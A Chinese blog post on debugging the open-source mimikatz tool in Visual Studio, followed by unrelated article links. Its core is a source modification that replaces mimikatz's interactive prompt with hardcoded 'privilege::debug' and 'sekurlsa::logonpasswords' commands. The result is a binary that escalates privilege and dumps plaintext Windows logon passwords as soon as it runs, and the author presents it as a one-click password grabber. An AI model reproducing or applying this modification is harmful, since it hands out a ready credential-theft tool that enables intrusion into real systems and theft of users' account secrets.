【源码阅读】VS调试mimikatz-改造法国神器mimikatz执行就获取明文密码
0x1 概要
记得某位同学提起在XXX得到了一个一键生成明文的工具,觉得很是神奇。。。
然而我一看图标就知道是mimikatz,这工具是开源的,只要改两行代码就可以实现写死命令了。
顺带讲讲编译过程中的问题和解决方法。
0x2 详情
调试这个工具的时候,发现新版本没生成debug模式的选项,F11调试没有对应到源代码。仔细一看原来是没有生成调试文件。
设置让Release的程序也生成pdb文件即可。
另外mimikatz没有debug版,所以导致有些参数被优化了。没有办法跟进具体的变量和函数,所以还需要把以下选项调成Debug模式可用的设置。
0x3 修改
原来的代码是程序没有接收到退出信号,就卡在循环里,直到用户输入命令然后执行,既然已经知道原理就写死命令即可实现我想要的功能。
找到以下代码:
#ifndef _WINDLL
while (status != STATUS_FATAL_APP_EXIT)
{
kprintf(L"\n" MIMIKATZ L" # "); fflush(stdin);
if(fgetws(input, ARRAYSIZE(input), stdin) && (len = wcslen(input)) && (input[0] != L'\n'))
{
if(input[len - 1] == L'\n')
input[len - 1] = L'\0';
kprintf_inputline(L"%s\n", input); //获取参数
status = mimikatz_dispatchCommand(input);
}
}
#endif
mimikatz_end();
return STATUS_SUCCESS;
修改后的代码:
#ifndef _WINDLL
while (status != STATUS_FATAL_APP_EXIT)
{
//kprintf(L"\n" MIMIKATZ L" # "); fflush(stdin);
//if(fgetws(input, ARRAYSIZE(input), stdin) && (len = wcslen(input)) && (input[0] != L'\n'))
//{
// if(input[len - 1] == L'\n')
// input[len - 1] = L'\0';
// kprintf_inputline(L"%s\n", input); //获取参数
// status = mimikatz_dispatchCommand(input);
//}
//提权
status = mimikatz_dispatchCommand(L"privilege::debug");
//获取密码
status = mimikatz_dispatchCommand(L"sekurlsa::logonpasswords");
status = STATUS_FATAL_APP_EXIT;
}
#endif
mimikatz_end();
return STATUS_SUCCESS;
0x4 效果
0x5 参考
vs:Release版本和Debug版本的区别以及转换
http://blog.csdn.net/hust_sheng/article/details/49964217
【源码阅读】VS调试mimikatz-改造法国神器mimikatz执行就获取明文密码的更多相关文章
- SpringMVC源码阅读:Controller中参数解析
1.前言 SpringMVC是目前J2EE平台的主流Web框架,不熟悉的园友可以看SpringMVC源码阅读入门,它交代了SpringMVC的基础知识和源码阅读的技巧 本文将通过源码(基于Spring ...
- ubuntu下linux内核源码阅读工具和调试方法总结
http://blog.chinaunix.net/uid-20940095-id-66148.html 一 linux内核源码阅读工具 windows下当然首选source insight, 但是l ...
- 【原】FMDB源码阅读(一)
[原]FMDB源码阅读(一) 本文转载请注明出处 —— polobymulberry-博客园 1. 前言 说实话,之前的SDWebImage和AFNetworking这两个组件我还是使用过的,但是对于 ...
- [Erlang 0119] Erlang OTP 源码阅读指引
上周Erlang讨论群里面提到lists的++实现,争论大多基于猜测,其实打开代码看一下就都明了.贴出代码截图后有同学问这代码是哪里找的? "代码去哪里找?",关于Erla ...
- 36 网络相关函数(四)——live555源码阅读(四)网络
36 网络相关函数(四)——live555源码阅读(四)网络 36 网络相关函数(四)——live555源码阅读(四)网络 简介 7)createSocket创建socket方法 8)closeSoc ...
- 24 UsageEnvironment使用环境抽象基类——Live555源码阅读(三)UsageEnvironment
24 UsageEnvironment使用环境抽象基类——Live555源码阅读(三)UsageEnvironment 24 UsageEnvironment使用环境抽象基类——Live555源码阅读 ...
- 转-OpenJDK源码阅读导航跟编译
OpenJDK源码阅读导航 OpenJDK源码阅读导航 博客分类: Virtual Machine HotSpot VM Java OpenJDK openjdk 这是链接帖.主体内容都在各链接中. ...
- 【JDK1.8】JDK1.8集合源码阅读——IdentityHashMap
一.前言 今天我们来看一下本次集合源码阅读里的最后一个Map--IdentityHashMap.这个Map之所以放在最后是因为它用到的情况最少,也相较于其他的map来说比较特殊.就笔者来说,到目前为止 ...
- Settings-Sync插件源码阅读
一.介绍 请参考官网: https://marketplace.visualstudio.com/items?itemName=Shan.code-settings-sync 二.源码目录详解 Ima ...
随机推荐
- 《Linux内核分析》课程第一周学习总结
姓名:何伟钦 学号:20135223 ( *原创作品转载请注明出处*) ( 学习课程:<Linux内核分析>MOOC课程http://mooc.study.163.com/course/U ...
- 四则运算level2
package j; import java.util.Scanner; public class Main { public static void main(String[] args) { Sc ...
- A01-java学习环境准备
1, 需要去oracle官网下载,JDK https://www.oracle.com/technetwork/java/javase/downloads/index.html 点击SE Do ...
- week8:个人博客作业
团队作业(5) 要求 在PM 带领下, 每个团队深入分析下面行业的App, 找到行业的Top 5 (从下面的三个备选中,任选一个行业即可) 英语学习/词典App 笔记App 旅游行业的手机App 选择 ...
- [转帖]技术盛宴 | 关于PoE以太网供电技术详解
技术盛宴 | 关于PoE以太网供电技术详解 https://smb.pconline.com.cn/1208/12085824.html [PConline 干货铺]随着物联网技术飞速发展,需要提 ...
- [转帖]MerkleDAG全面解析 一文读懂什么是默克尔有向无环图
MerkleDAG全面解析 一文读懂什么是默克尔有向无环图 2018-08-16 15:58区块链/技术 MerkleDAG作为IPFS的核心数据结构,它融合了Merkle Tree和DAG的优点,今 ...
- Delphi中快速修改变量名称
鼠标左键选择需要修改的范围,左侧会出现一个同步编辑模式(Sync Edit Mode),快捷键:CTRL+SHIFT+J,它可以让我们清楚地编写或改写多个同一参数.
- 【CF888E】Maximum Subsequence(meet in the middle)
[CF888E]Maximum Subsequence(meet in the middle) 题面 CF 洛谷 题解 把所有数分一下,然后\(meet\ in\ the\ middle\)做就好了. ...
- P2325 [SCOI2005]王室联邦 解题报告
P2325 [SCOI2005]王室联邦 题目描述 "余"人国的国王想重新编制他的国家.他想把他的国家划分成若干个省,每个省都由他们王室联邦的一个成员来管理. 他的国家有\(n\) ...
- luogu1081 [NOIp2012]开车旅行 (STL::multiset+倍增)
先用不管什么方法求出来从每个点出发,A走到哪.B走到哪(我写了一个很沙雕的STL) 然后把每个点拆成两个点,分别表示A从这里出发和B从这里出发,然后连边是要A连到B.B连到A.边长就是这次走的路径长度 ...